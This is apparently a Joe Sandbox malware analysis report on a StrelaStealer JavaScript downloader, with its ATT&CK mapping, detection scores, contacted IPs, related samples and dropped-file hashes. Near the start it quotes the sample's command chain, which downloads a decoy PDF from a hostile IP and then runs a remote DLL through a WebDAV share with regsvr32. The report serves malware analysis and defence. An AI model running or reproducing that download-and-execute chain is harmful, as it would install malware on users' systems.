Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
13134167581645321294.js	10%	Virustotal		Browse
13134167581645321294.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3334472009.0000019046290000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2105979773.0000019046060000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2106553967.0000015835D28000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2105899461.0000015835D5B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2106553967.0000015835D28000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588832
Start date and time:	2025-01-11 06:03:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	13134167581645321294.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.219.243.226, 3.233.129.217, 52.22.41.97, 23.209.209.135, 184.28.90.27, 217.20.57.18, 2.16.168.107, 2.16.168.105, 54.224.241.105, 13.107.246.45, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:04:45	API Interceptor	23x Sleep call for process: powershell.exe modified
00:04:49	API Interceptor	1x Sleep call for process: net.exe modified
00:04:49	API Interceptor	2x Sleep call for process: svchost.exe modified
00:04:57	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
bg.microsoft.map.fastly.net	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307054605651296
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugt:gJjJGtpTq2yv1AuNZRY3diu8iBVqFD
MD5:	E26205DF9D61C2CAD456FE57210256F1
SHA1:	013A011EAC18A60A227E50256481A42EFCE36690
SHA-256:	6CC669D27BFB9CD48BEB4156265CB7A9F66F464020254E585257E8CACC0008F2
SHA-512:	067683CDBC732EFE4E851B8830B1D55379B874FCC89A7CC7F3894B3894DAC384A83F43329142FC9851D153F6976A8CA21F272B0BB4AED7254BA604B40E38C7F3
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x256585ca, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658497229433714
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D708F550E68510EFDF594459A84AE697
SHA1:	8E24B0AD421934EFCCB139ADC70B797B2C2E3578
SHA-256:	1934741AF0684C8478029939B4B648F1A1BBD82A3397759EAB2541854C7A867C
SHA-512:	FF825C793702737A2185A21E946AA73C7B91BB3D6BA20088B683832A2D479F2E50C568ED87B3B132D2A602DC43A9BB46D346DB698509D1A3DDEDDF4A4524A2EB
Malicious:	false
Preview:	%e..... ...............X\...;...{......................0.z..........{..2....}/.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................}..=2....}M..................9.Y2....}/..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07973274698291141
Encrypted:	false
SSDEEP:	3:66YegJRs5ekGuAJkhvekl1VjaXillrekGltll/SPj:VzARKtrxlvaXGJe3l
MD5:	403A52BF6BC7714FBE9476C625E613C3
SHA1:	C78E40C436A63CA9D12C9812A1D0B47362356702
SHA-256:	F5487E0F33B9EF129882DFFD9B6AF7D0882865F66C6A0DC3CDFD90CDC2129E24
SHA-512:	9FD46CCD1FCEB70B4D5244F269B1AC615578D6E7EC6D65B8F0B4155878000247ADB22CAD2C14AD82131584227947E1919B387FB21D3B88D6A4A6FB2904B144A6
Malicious:	false
Preview:	B.......................................;...{..2....}/......{...............{.......{...XL......{...................9.Y2....}/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.161371115015635
Encrypted:	false
SSDEEP:	6:iOPOq2P92nKuAl9OmbnIFUthvZZmwAkwO92nKuAl9OmbjLJ:7POv4HAahFUtZZ/A5LHAaSJ
MD5:	84A7EA77B812BE0F265A6C5E4AD30F6B
SHA1:	B98F75589146E5AB8AB822C46FA9BB9E52AA98AC
SHA-256:	FCB39C1022DB58735ECBD86A9C76911D998E4D8E1C82597679D960186E8F43E7
SHA-512:	08DE71B08DE1F652D1602041665D6A8B31E7216590FAE2579F20A6ADE07D7007DFAC44407F494631FCF6DF1697E025E48E2D52BD73D1B695B1F94571FE159A48
Malicious:	false
Preview:	2025/01/11-00:04:49.810 c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:04:49.812 c60 Recovering log #3.2025/01/11-00:04:49.813 c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.161371115015635
Encrypted:	false
SSDEEP:	6:iOPOq2P92nKuAl9OmbnIFUthvZZmwAkwO92nKuAl9OmbjLJ:7POv4HAahFUtZZ/A5LHAaSJ
MD5:	84A7EA77B812BE0F265A6C5E4AD30F6B
SHA1:	B98F75589146E5AB8AB822C46FA9BB9E52AA98AC
SHA-256:	FCB39C1022DB58735ECBD86A9C76911D998E4D8E1C82597679D960186E8F43E7
SHA-512:	08DE71B08DE1F652D1602041665D6A8B31E7216590FAE2579F20A6ADE07D7007DFAC44407F494631FCF6DF1697E025E48E2D52BD73D1B695B1F94571FE159A48
Malicious:	false
Preview:	2025/01/11-00:04:49.810 c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:04:49.812 c60 Recovering log #3.2025/01/11-00:04:49.813 c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.12096708453811
Encrypted:	false
SSDEEP:	6:iOFXT34q2P92nKuAl9Ombzo2jMGIFUtRXT3JZmwbC9DkwO92nKuAl9Ombzo2jMmd:7FL4v4HAa8uFUtx7J/W9D5LHAa8RJ
MD5:	0E9A07F5C3F49DB27F15A39F4091FA5F
SHA1:	5A392ED7B92B3DF65E55D1665FCD3351ECCFD661
SHA-256:	7D8460D90A03710714A76ED8BE272E9BBD13BCBBA4461915DDDF71DC2DF8C99D
SHA-512:	AFCB4CE820E4171599DCEC4B982F3259AD5618A2956E707A3870D43FD571F6E4C2C8946CB1C743014247FCB7318EC9E3857467CDE10B4255B1AEBF0EC85D53CA
Malicious:	false
Preview:	2025/01/11-00:04:49.912 19b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:04:49.932 19b0 Recovering log #3.2025/01/11-00:04:49.933 19b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.12096708453811
Encrypted:	false
SSDEEP:	6:iOFXT34q2P92nKuAl9Ombzo2jMGIFUtRXT3JZmwbC9DkwO92nKuAl9Ombzo2jMmd:7FL4v4HAa8uFUtx7J/W9D5LHAa8RJ
MD5:	0E9A07F5C3F49DB27F15A39F4091FA5F
SHA1:	5A392ED7B92B3DF65E55D1665FCD3351ECCFD661
SHA-256:	7D8460D90A03710714A76ED8BE272E9BBD13BCBBA4461915DDDF71DC2DF8C99D
SHA-512:	AFCB4CE820E4171599DCEC4B982F3259AD5618A2956E707A3870D43FD571F6E4C2C8946CB1C743014247FCB7318EC9E3857467CDE10B4255B1AEBF0EC85D53CA
Malicious:	false
Preview:	2025/01/11-00:04:49.912 19b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:04:49.932 19b0 Recovering log #3.2025/01/11-00:04:49.933 19b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.044254613268565
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdVUmHJHksBdOg2HkAcaq3QYiubxnP7E4T3OF+:Y2sRdsGDpdMHkr3QYhbxP7nbI+
MD5:	B0CAABCE2E81274136317BC08EA8458E
SHA1:	FBFAC224EFB7CF9BB297876704569AD75312CD5E
SHA-256:	AA0D3FC51755C9EF8160F38E776CAB1A9FEBB0466AFAD1373078F6E6E8B2E47A
SHA-512:	469BC6EDF13769634C78B25E28ACEEAF3903D26F68BDBD33CF4489B37AC4A8E4BAF71E66FE198200B95B3E4F0152DB21D08AA8BCD7EDFE93DCC4787F50A6824B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131902080192","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":311691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a9dae6cf-e1cf-49d3-8918-2771f5899db2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.044254613268565
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdVUmHJHksBdOg2HkAcaq3QYiubxnP7E4T3OF+:Y2sRdsGDpdMHkr3QYhbxP7nbI+
MD5:	B0CAABCE2E81274136317BC08EA8458E
SHA1:	FBFAC224EFB7CF9BB297876704569AD75312CD5E
SHA-256:	AA0D3FC51755C9EF8160F38E776CAB1A9FEBB0466AFAD1373078F6E6E8B2E47A
SHA-512:	469BC6EDF13769634C78B25E28ACEEAF3903D26F68BDBD33CF4489B37AC4A8E4BAF71E66FE198200B95B3E4F0152DB21D08AA8BCD7EDFE93DCC4787F50A6824B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131902080192","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":311691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.239377401963647
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU9yrpmoO:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLm
MD5:	ADCFFA92F3845A3888390812B7725950
SHA1:	E4F1B78A6094327F0BF83068D79730CB97D1AC78
SHA-256:	BA453656C18140EEE5702575C7AF3366B3DD26132D4B38AA7095C89EB7D55867
SHA-512:	36CE7906861F69EFCD17A4E36457D2A4CB4C7D0C75AFDE16D2BF915F814BDCEB7F2CB4674EEBA71082A038AE51FEA0B9815BCA9C10B6FF4014065E69174B97C5
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.080936497483421
Encrypted:	false
SSDEEP:	6:iOrF4q2P92nKuAl9OmbzNMxIFUtFHLv3JZmwHncHvDkwO92nKuAl9OmbzNMFLJ:7rF4v4HAa8jFUtFbJ/HncPD5LHAa84J
MD5:	6DDEAF52EA4DDF93235FFD51D9293609
SHA1:	53F4F4F79A3B31A500308A214A5FB0191A838CEF
SHA-256:	7FE692F397FF9B55A05A8127D859A6A74269DCE99DBA2FE4F6C9129239F9A713
SHA-512:	971BBB51A03D7414969EB00B56543DC6717A03619C9A75A7FD5BF3D1699875E5AA2C280F8F3B183290FB7A6F0C397A4B45C55429F228FFA65FC136216A7E5F42
Malicious:	false
Preview:	2025/01/11-00:04:50.019 19b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:04:50.022 19b0 Recovering log #3.2025/01/11-00:04:50.023 19b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.080936497483421
Encrypted:	false
SSDEEP:	6:iOrF4q2P92nKuAl9OmbzNMxIFUtFHLv3JZmwHncHvDkwO92nKuAl9OmbzNMFLJ:7rF4v4HAa8jFUtFbJ/HncPD5LHAa84J
MD5:	6DDEAF52EA4DDF93235FFD51D9293609
SHA1:	53F4F4F79A3B31A500308A214A5FB0191A838CEF
SHA-256:	7FE692F397FF9B55A05A8127D859A6A74269DCE99DBA2FE4F6C9129239F9A713
SHA-512:	971BBB51A03D7414969EB00B56543DC6717A03619C9A75A7FD5BF3D1699875E5AA2C280F8F3B183290FB7A6F0C397A4B45C55429F228FFA65FC136216A7E5F42
Malicious:	false
Preview:	2025/01/11-00:04:50.019 19b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:04:50.022 19b0 Recovering log #3.2025/01/11-00:04:50.023 19b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

